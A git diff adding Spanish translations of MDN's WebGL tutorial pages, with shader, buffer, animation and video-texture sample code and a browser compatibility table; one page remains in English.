+     <dt><a class="external" href="http://planet-webgl.org/" title="http://planet-webgl.org/"><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Planeta WebGL</span></span></a></dt>
+     <dd><span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Un agregador de RSS para las personas que pertenecen a la comunidad WebGL.</span></span></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores"><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Compatibilidad de los navegadores</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Navegador</span></span></th>
+   <th><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-99 goog-gtc-translatable" dir="ltr">Compatibilidad básica</span></span></th>
+   <th><code>.getContext(<em>context</em>)</code></th>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Internet Explorer</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">---</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">---</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">Firefox (Gecko)</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">4.0 (2)</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">experimental-webgl</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Opera</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">---</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">---</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Chrome</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">9</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">experimental-webgl</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Safari</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">6 (en Safari nightlies)</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">experimental-webgl</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/es/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
new file mode 100644
index 0000000000..595b0f57f1
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -0,0 +1,276 @@
+---
+title: Agregando Contenido 2D en el Contexto WebGL
+slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+---
+<div>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</div>
+
+<p>Una vez que has logrado <a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">crear el contexto WebGL</a>, estás listo para crear objetos dentro del mismo. Algo sencillo que podemos hacer es pintar un simple cuadrado plano sin texturas, así que vamos a empezar desde ahí, creando el código para dibujar el cuadrado plano.</p>
+
+<h2 id="Dibujando_la_Escena">Dibujando la Escena</h2>
+
+<p>Lo mas importante que tenemos que entender antes de empezar, es que aún cuando dibujaremos un cuadrado plano en este ejemplo, estaremos trabajando en un espacio 3D. Lo que estaremos haciendo es dibujar un cuadrado plano y posicionándolo frente de la camara de forma perpendicular. Necesitaremos definir los Shaders que definirán el color para nuestra escena además de dibujar nuestro objeto. Esto establecerá cómo aparece el cuadrado plano en nuestra pantalla.</p>
+
+<h3 id="Los_Shaders">Los Shaders </h3>
+
+<p>Los shaders usan especificamente <a href="https://www.khronos.org/files/opengles_shading_language.pdf">OpenGL ES Shading Language</a>. Los detalles de la forma de trabajar de los shaders estan fuera del alcance de este articulo, como tambien la sintaxis del lenguaje de los shaders sin embargo la version corta es que hay 2 tipos de shaders (funciones que se ejecutan en la GPU) que necesitas escribir.  shaders de vertices y shaders de fragmentos. Estos son pasados al WebGL como una cadena y compilados para ejecutarse en el GPU.</p>
+
+<h4 id="Shaders_de_Vértices">Shaders de Vértices</h4>
+
+<p>La responsabilidad de los Shaders de Vértices es asignar un valor a una variable especial <code>gl_Position</code> para crear los valores del espacio de trabajo (valores entre  -1 y +1) en toda la zona del canvas. En nuestro Shader de Vértices de abajo estamos recibiendo valores de un atributo que definiremos como <code>aVertexPosition</code>. Estamos entonces multiplicando esa posición por dos matrices 4x4 que definimos como <code>uProjectionMatrix</code> y <code>uModelMatrix</code> e igualando <code>gl_Position</code> al resultado. Para más información sobre proyección y otras matrices <a href="https://webglfundamentals.org/webgl/lessons/webgl-3d-perspective.html">puedes encontrar útil este artículo</a>.</p>
+
+<pre class="brush: html">  // Vertex shader program
+
+  const vsSource = `
+    attribute vec4 aVertexPosition;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    void main() {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+    }
+  `;
+</pre>
+
+<h4 id="Shaders_de_Fragmentos">Shaders de Fragmentos</h4>
+
+<p>Cada vez que el Shader de Vértices escribe de 1 a 3 valores al <code>gl_Position</code> este también dibujará un punto, una linea o un triángulo. Mientras éste esta dibujando, llamará al Shader de Fragmentos y preguntará: ¿De qué color debería dibujar este pixel? En este caso, simplemente retornaremos blanco cada vez.</p>
+
+<p><code>gl_FragColor</code> es una variable built-in de GL que es usada para el color del fragmento. Al definir su valor se establece el color del pixel, como se ve a continuación:</p>
+
+<pre class="brush: html">  const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;
+</pre>
+
+<h3 id="Inicializando_los_shaders">Inicializando los shaders</h3>
+
+<p>Ahora que hemos definido los dos shaders, necesitamos pasarlos a WebGL, compilarlos y enlazarlos juntos. El código de abajo crea dos shaders al llamar <code>loadShader</code>, pasando el tipo y la fuente para el shader. Entonces crea un programa, adjunta los shaders y los enlaza juntos. Si la compilación o el enlace fallan, el código muestra una alerta.</p>
+
+<pre class="brush: js">//
+// Initialize a shader program, so WebGL knows how to draw our data
+//
+function initShaderProgram(gl, vsSource, fsSource) {
+  const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
+  const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
+
+  // Create the shader program
+
+  const shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // If creating the shader program failed, alert
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert('Unable to initialize the shader program: ' + gl.getProgramInfoLog(shaderProgram));
+    return null;
+  }
+
+  return shaderProgram;
+}
+
+//
+// creates a shader of the given type, uploads the source and
+// compiles it.
+//
+function loadShader(gl, type, source) {
+  const shader = gl.createShader(type);
+
+  // Send the source to the shader object
+
+  gl.shaderSource(shader, source);
+
+  // Compile the shader program
+
+  gl.compileShader(shader);
+
+  // See if it compiled successfully
+
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+    alert('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
+    gl.deleteShader(shader);
+    return null;
+  }
+
+  return shader;
+}
+</pre>
+
+<p>Para usar este código lo llamamos así:</p>
+
+<pre class="brush: js">  const shaderProgram = initShaderProgram(gl, vsSource, fsSource);
+</pre>
+
+<p>Después de haber creado el programa de sombreado necesitaremos buscar las ubicaciones que WebGL asignó a nuestras entradas (inputs). En este caso tenemos un attribute y 2 uniforms. Los attribute reciben valores de los buffers. Cada iteración del Shader de Vértices recibe el siguiente valor desde el buffer asignado al attribute. Los uniforms son similares a variables globales en Javascript, estos mantienen el mismo valor para todas las iteraciones de un shader. Como las ubicaciones attribute y uniform son específicas de un solo programa de sombreado, los almacenamos juntos para que sean fáciles de pasar.</p>
+
+<pre class="brush: js">  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+    },
+  };
+</pre>
+
+<h2 id="Creando_el_cuadrado_plano">Creando el cuadrado plano</h2>
+
+<p>Antes de que podamos renderizar nuestro cuadrado plano, necesitamos crear el buffer que contenga sus posiciones de vértice y poner las posiciones de vértice en él. Lo haremos usando una función que llamaremos <code>initBuffers()</code>. Mientras vayamos explorando conceptos WebGL más avanzados, esta rutina crecerá para crear objetos 3D más y más complejos.</p>
+
+<pre class="brush: js">function initBuffers(gl) {
+
+  // Create a buffer for the square's positions.
+
+  const positionBuffer = gl.createBuffer();
+
+  // Select the positionBuffer as the one to apply buffer
+  // operations to from here out.
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
+
+  // Now create an array of positions for the square.
+
+  const positions = [
+     1.0,  1.0,
+    -1.0,  1.0,
+     1.0, -1.0,
+    -1.0, -1.0,
+  ];
+
+  // Now pass the list of positions into WebGL to build the
+  // shape. We do this by creating a Float32Array from the
+  // JavaScript array, then use it to fill the current buffer.
+
+  gl.bufferData(gl.ARRAY_BUFFER,
+                new Float32Array(positions),
+                gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+  };
+}
+</pre>
+
+<p>Esta rutina es muy sencilla dada la naturaleza de la escena en este ejemplo. Empieza llamando el método {{domxref("WebGLRenderingContext.createBuffer()", "createBuffer()")}} del objeto <code>gl</code> para obtener un buffer dentro del cual almacenaremos las posiciones del vértice. Este es ligado al contexto al llamar el método {{domxref("WebGLRenderingContext.bindBuffer()", "bindBuffer()")}}.</p>
+
+<p>Una vez terminado, creamos un array de Javascript almacenando la posición de cada vértice en el cuadrado plano. Este es convertido entonces en un array de flotantes y es pasado al método {{domxref("WebGLRenderingContext.bufferData()", "bufferData()")}} del objeto <code>gl</code> para establecer las posiciones de vértice para el objeto.</p>
+
+<h2 id="Renderizando_la_escena">Renderizando la escena</h2>
+
+<p>Una vez que los shaders estan establecidos, se buscan las ubicaciones, y las posiciones de vértice del cuadrado plano puestas en un buffer, podemos renderizar la escena. Como no estamos animando nada en este ejemplo, nuestra función <code>drawScene()</code> es muy simple. Esta usa unas rutinas de utilidad que cubriremos en breve.</p>
+
+<pre class="brush: js">function drawScene(gl, programInfo, buffers) {
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);  // Clear to black, fully opaque
+  gl.clearDepth(1.0);                 // Clear everything
+  gl.enable(gl.DEPTH_TEST);           // Enable depth testing
+  gl.depthFunc(gl.LEQUAL);            // Near things obscure far things
+
+  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // Create a perspective matrix, a special matrix that is
+  // used to simulate the distortion of perspective in a camera.
+  // Our field of view is 45 degrees, with a width/height
+  // ratio that matches the display size of the canvas
+  // and we only want to see objects between 0.1 units
+  // and 100 units away from the camera.
+
+  const fieldOfView = 45 * Math.PI / 180;   // in radians
+  const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;
+  const zNear = 0.1;
+  const zFar = 100.0;
+  const projectionMatrix = mat4.create();
+
+  // note: glmatrix.js always has the first argument
+  // as the destination to receive the result.
+  mat4.perspective(projectionMatrix,
+                   fieldOfView,
+                   aspect,
+                   zNear,
+                   zFar);
+
+  // Set the drawing position to the "identity" point, which is
+  // the center of the scene.
+  const modelViewMatrix = mat4.create();
+
+  // Now move the drawing position a bit to where we want to
+  // start drawing the square.
+
+  mat4.translate(modelViewMatrix,     // destination matrix
+                 modelViewMatrix,     // matrix to translate
+                 [-0.0, 0.0, -6.0]);  // amount to translate
+
+  // Tell WebGL how to pull out the positions from the position
+  // buffer into the vertexPosition attribute.
+  {
+    const numComponents = 2;  // pull out 2 values per iteration
+    const type = gl.FLOAT;    // the data in the buffer is 32bit floats
+    const normalize = false;  // don't normalize
+    const stride = 0;         // how many bytes to get from one set of values to the next
+                              // 0 = use type and numComponents above
+    const offset = 0;         // how many bytes inside the buffer to start from
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexPosition,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexPosition);
+  }
+
+  // Tell WebGL to use our program when drawing
+
+  gl.useProgram(programInfo.program);
+
+  // Set the shader uniforms
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.projectionMatrix,
+      false,
+      projectionMatrix);
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.modelViewMatrix,
+      false,
+      modelViewMatrix);
+
+  {
+    const offset = 0;
+    const vertexCount = 4;
+    gl.drawArrays(gl.TRIANGLE_STRIP, offset, vertexCount);
+  }
+}
+
+</pre>
+
+<p>El primer paso es limpiar el canvas de nuestro color de fondo; establecemos la perspectiva de la cámara. Configuramos un campo de 45º, con una relación ancho/alto que coincide con las dimensiones de nuestro canvas. También especificamos que queremos objetos entre 0.1 y 100 unidades de la cámara para ser renderizados.</p>
+
+<p>Entonces establecemos la posición del cuadrado plano al cargar la posición de identidad y alejando la cámara en 6 unidades. Déspues de eso, enlazamos el buffer del vértice del cuadrado al atributo que el shader estaba usando para <code>aVertexPosition</code> y le decimos a WebGL como jalar los datos fuera de este. Finalmente dibujamos el objeto al llamar el método {{domxref("WebGLRenderingContext.drawArrays()", "drawArrays()")}}.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample2/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample2">Ver código completo</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample2/">Abrir esta demostración en una nueva página</a></p>
+
+<h2 id="Utilidades_para_operaciones_de_Matrices">Utilidades para operaciones de Matrices</h2>
+
+<p>Las operaciones de matrices pueden parecer complicadas pero <a href="https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html">en realidad son muy fáciles si las tomas un paso a la vez</a>. Generalmente la gente usa una librería de matrices antes que escribir la suya. En nuestro caso estamos usando la popular <a href="http://glmatrix.net/">librería glMatrix</a>.</p>
+
+<p>Ver también</p>
+
+<ul>
+ <li><a href="https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html">Matrices</a> en WebGLFundamentals</li>
+ <li><a class="external" href="http://mathworld.wolfram.com/Matrix.html">Matrices</a> en Wolfram MathWorld</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Matrix_(mathematics)">Matriz</a> en Wikipedia</li>
+</ul>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
diff --git a/files/es/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/es/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
new file mode 100644
index 0000000000..ad9b98310a
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -0,0 +1,119 @@
+---
+title: Animación de Objetos con  WebGL
+slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p>Our existing code from the previous examples is already configured to redraw our WebGL scene every 15 milliseconds. Until now, it's simply redrawing everything exactly the same way every time. It's time to change that, so that our square actually moves.</p>
+
+<p>In this example, we'll actually rotate and move our 2D square in all three dimensions; this will prove that even though we're only creating a 2D object, it still exists in 3D space.</p>
+
+<h2 id="Making_the_square_rotate">Making the square rotate</h2>
+
+<p>Let's start by making the square rotate. The first thing we'll need is a variable in which to track the current rotation of the square:</p>
+
+<pre class="brush: js">var squareRotation = 0.0;
+</pre>
+
+<p>Now we need to update the <code>drawScene()</code> function to apply the current rotation to the square when drawing it. After translating to the initial drawing position for the square, we apply the rotation like this:</p>
+
+<pre class="brush: js">mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+</pre>
+
+<p>This saves the current model-view matrix, then rotates the matrix by the current value of <code>squareRotation</code>, around the X and Z axes.</p>
+
+<p>After drawing, we need to restore the original matrix:</p>
+
+<pre class="brush: js">  mvPopMatrix();
+</pre>
+
+<p>We save and restore the original matrix to avoid having this rotation applied to other objects we might draw.</p>
+
+<p>To actually animate, we need to add code that changes the value of <code>squareRotation</code> over time. We can do that by creating a new variable to track the time at which we last animated (let's call it <code>lastSquareUpdateTime</code>), then adding the following code to the end of the <code>drawScene()</code> function:</p>
+
+<pre class="brush: js">  var currentTime = (new Date).getTime();
+  if (lastSquareUpdateTime) {
+  	var delta = currentTime - lastSquareUpdateTime;
+
+  	squareRotation += (30 * delta) / 1000.0;
+  }
+
+  lastSquareUpdateTime = currentTime;
+</pre>
+
+<p>This code uses the amount of time that's passed since the last time we updated the value of <code>squareRotation</code> to determine how far to rotate the square.</p>
+
+<h2 id="Making_the_square_move">Making the square move</h2>
+
+<p>We can also move the square around by translating to a different position before drawing it. This example is going to do some very basic animation; obviously in the real world you'd want to do something less insane.</p>
+
+<p>Let's track offsets to each axis for our translation in new variables:</p>
+
+<pre class="brush: js">var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+</pre>
+
+<p>And the amount by which to change our position on each axis in these variables:</p>
+
+<pre class="brush: js">var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+</pre>
+
+<p>Now we can simply add this code to the previous code that updates the rotation:</p>
+
+<pre class="brush: js">    squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+    squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+    squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+    if (Math.abs(squareYOffset) &gt; 2.5) {
+      xIncValue = -xIncValue;
+      yIncValue = -yIncValue;
+      zIncValue = -zIncValue;
+    }
+</pre>
+
+<p>This causes our square to zoom around, moving haphazardly around the context as well as toward and away from the viewer, all while rotating. It looks rather like a screen saver.</p>
+
+<p>If your browser supports WebGL, <a href="/samples/webgl/sample4/index.html" title="https://developer.mozilla.org/samples/webgl/sample4/index.html">click here to take a look at this example</a> in action.</p>
+
+<h2 id="More_matrix_operations">More matrix operations</h2>
+
+<p>This example uses a few additional matrix operations, including two routines to push and pop matrices from a stack to preserve them, and one that rotates a matrix a given number of degrees. These follow, for your reference:</p>
+
+<pre class="brush: js">var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+  if (m) {
+    mvMatrixStack.push(m.dup());
+    mvMatrix = m.dup();
+  } else {
+    mvMatrixStack.push(mvMatrix.dup());
+  }
+}
+
+function mvPopMatrix() {
+  if (!mvMatrixStack.length) {
+    throw("Can't pop from an empty matrix stack.");
+  }
+
+  mvMatrix = mvMatrixStack.pop();
+  return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+  var inRadians = angle * Math.PI / 180.0;
+
+  var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+  multMatrix(m);
+}
+</pre>
+
+<p>These routines were borrowed from a sample previously written by Vlad Vukićević.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
diff --git a/files/es/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html b/files/es/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html
new file mode 100644
index 0000000000..0274f91187
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html
@@ -0,0 +1,106 @@
+---
+title: Animating textures in WebGL
+slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>En esta demostración nos basamos en el ejemplo anterior, solo que ahora reemplazaremos nuestra textura estática con los fotogramas de un video Ogg.</p>
+
+<p>Esto es de hecho muy fácil de entender y de hacer, así que vamos a empezar. </p>
+
+<p>Podemos utilizar un código similar para usar, como fuente para las texturas, otros tipos de datos tales como {{ HTMLElement("canvas") }}.</p>
+
+<h2 id="Obteniendo_acceso_al_video">Obteniendo acceso al video</h2>
+
+<p>El primer paso es añadir el HTML para crear el elemento {{ HTMLElement("video") }} que usaremos para obtener los fotogramas de video:</p>
+
+<pre class="brush: js">&lt;video id="video"&gt;
+  Parece ser que tu navegador no soporta el elemento HTML5. &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Esto simplemente crea un elemento para reproducir el archivo de video "Firefox.ogv". Usaremos CSS para ocultar el video</p>
+
+<pre class="brush: css">video {
+  display: none;
+}
+</pre>
+
+<p>Ahora pasamos al código JavasScript, empezando por añadir una línea de código a la función start() para obtener la referencia al elemento de video:</p>
+
+<pre class="brush: js">videoElement = document.getElementById("video");
+</pre>
+
+<p>Y reemplazamos el código que configura las llamadas de "interval-driven" en drawScecene() por esto:</p>
+
+<pre class="brush: js">videoElement.addEventListener("canplaythrough", startVideo, true);
+videoElement.addEventListener("ended", videoDone, true);
+</pre>
+
+<p>Finalmente configuramos el atributo src para empezar a cargar el video. FIXME (bjacob): También se debe configurar preload="auto" o si no, el video nunca ejecuta canplaythrough en Firefox. En Chrome se debería cargar el video aun sin usar preload="auto".</p>
+
+<pre class="brush: js">video.preload = "auto";
+videoElement.src = "Firefox.ogv";</pre>
+
+<p>El objetivo aquí es no empezar la animación hasta que una parte suficiente del video se haya cargado de modo que pueda ser reproducido sin interrupciones. Para esto añadimos un event listener para esperar a que el elemento de video nos diga que ya ha cargado los suficientes datos como para reproducir el video puede ser reproducido sin pausas.</p>
+
+<p>The <code>startVideo()</code> quedará así:</p>
+
+<pre class="brush: js">function startVideo() {
+  videoElement.play();
+  intervalID = setInterval(drawScene, 15);
+}
+</pre>
+
+<p>Esto simplemente reproduce el video, entonces establece las llamadas "interval-driven" a drawScene() para gestionar el renderizado del cubo.</p>
+
+<p>Añadiremos también un segundo event listener en el "ended" del video de modo que cuando el video haya finalizado de reproducirse nosotros podamos parar la animación.</p>
+
+<pre class="brush: js">function videoDone() {
+  clearInterval(intervalID);
+}</pre>
+
+<p>La función de videoDone() simplemente llama a {{ domxref("window.clearInterval()") }}  para terminar de llamar a la función de actualizar la animación.</p>
+
+<h2 id="Usando_los_fotogramas_del_video_como_textura">Usando los fotogramas del video como textura</h2>
+
+<p>El siguiente paso es initTexture(), el cual se ha vuelto mucho más simple desde que no es necesario cargar un archivo de imagen. En lugar de esto, todo lo que vamos a hacer es crear un objeto de textura vacío para configurar el filtering cuando lo usemos más tarde:</p>
+
+<pre class="brush: js">function initTextures() {
+  cubeTexture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+}
+</pre>
+
+<div>La función updateTexture() quedaría así; Aquí es donde se realiza el trabajo real.</div>
+
+<pre class="brush: js">function updateTexture() {
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA,
+        gl.UNSIGNED_BYTE, videoElement);
+}
+</pre>
+
+<p>Has visto este código antes. Es prácticamente idéntico a la rutina de handleTextureLoaded() en el ejemplo anterior, excepto que cuando llamamos a texImage2D() en lugar de pasarle un objeto Image, lo pasamos en el elemento {{ HTMLElement("video") }}. Ya que WebGL sabe como obtener el fotograma actual y usarlo como textura.</p>
+
+<p><code>updateTexture()</code> se llama cada vez que estamos preparados para que la función drawScene() redibuje la escena. La única diferencia es que añadimos la llamada de updateTexture() antes de hacer nada más.</p>
+
+<p>¡Esto es todo al respecto!</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample8">Ver el código completo</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample8/">Abrir esta demo en una nueva página</a></p>
+
+<h2 id="Artículos_relacionados">Artículos relacionados</h2>
+
+<ul>
+ <li><a href="/es/Using_HTML5_audio_and_video">Usar audio y video en Firefox</a></li>
+</ul>
+
+<p>{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/es/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/es/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
new file mode 100644
index 0000000000..a56004e010
--- /dev/null
+++ b/files/es/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -0,0 +1,106 @@
+---
+title: Primeros pasos con WebGL
+slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+tags:
+  - Intro
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
+
+<p>WebGL <span id="result_box" lang="es"><span>permite que el contenido web </span></span>utilice una API basada en <a class="external" href="http://www.khronos.org/opengles/" hreflang="en" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 para llevar a cabo la representación 2D y 3D en un elemento <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">canvas</a> HTML en los navegadores que lo soporten sin el uso de plug-ins. WebGL consiste en código de control escrito en JavaScript y código de efectos especiales (código shader) que se ejecuta en la unidad de procesamiento gráfico de una computadora (GPU). Los elementos WebGL se pueden mezclar con otros elementos HTML y componerse con otras partes de la página o el fondo de la misma.</p>
+
+<p>Este artículo le dará a conocer los conceptos básicos de WebGL. Se asume que ya tiene una comprensión de las matemáticas implicadas en gráficos 3D, y este artículo no pretende tratar de enseñar OpenGL en sí.</p>
+
+<h2 id="Preparando_el_renderizado_en_3D">Preparando el renderizado en 3D</h2>
+
+<p>Lo primero que necesitas para poder usar WebGL para renderizar en 3D es un HTML <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">canvas</a>. El fragmento HTML a continuación establece un <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">canvas</a> y configura un controlador de eventos <code>onload</code> que se utilizarán para inicializar nuestro contexto WebGL.</p>
+
+<pre class="brush: html">&lt;body onload="start()"&gt;
+  &lt;canvas id="glcanvas" width="640" height="480"&gt;
+   Tu navegador parece no soportar el elemento HTML5 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;.
+  &lt;/canvas&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Preparando_el_contexto_de_WebGL">Preparando el contexto de WebGL</h3>
+
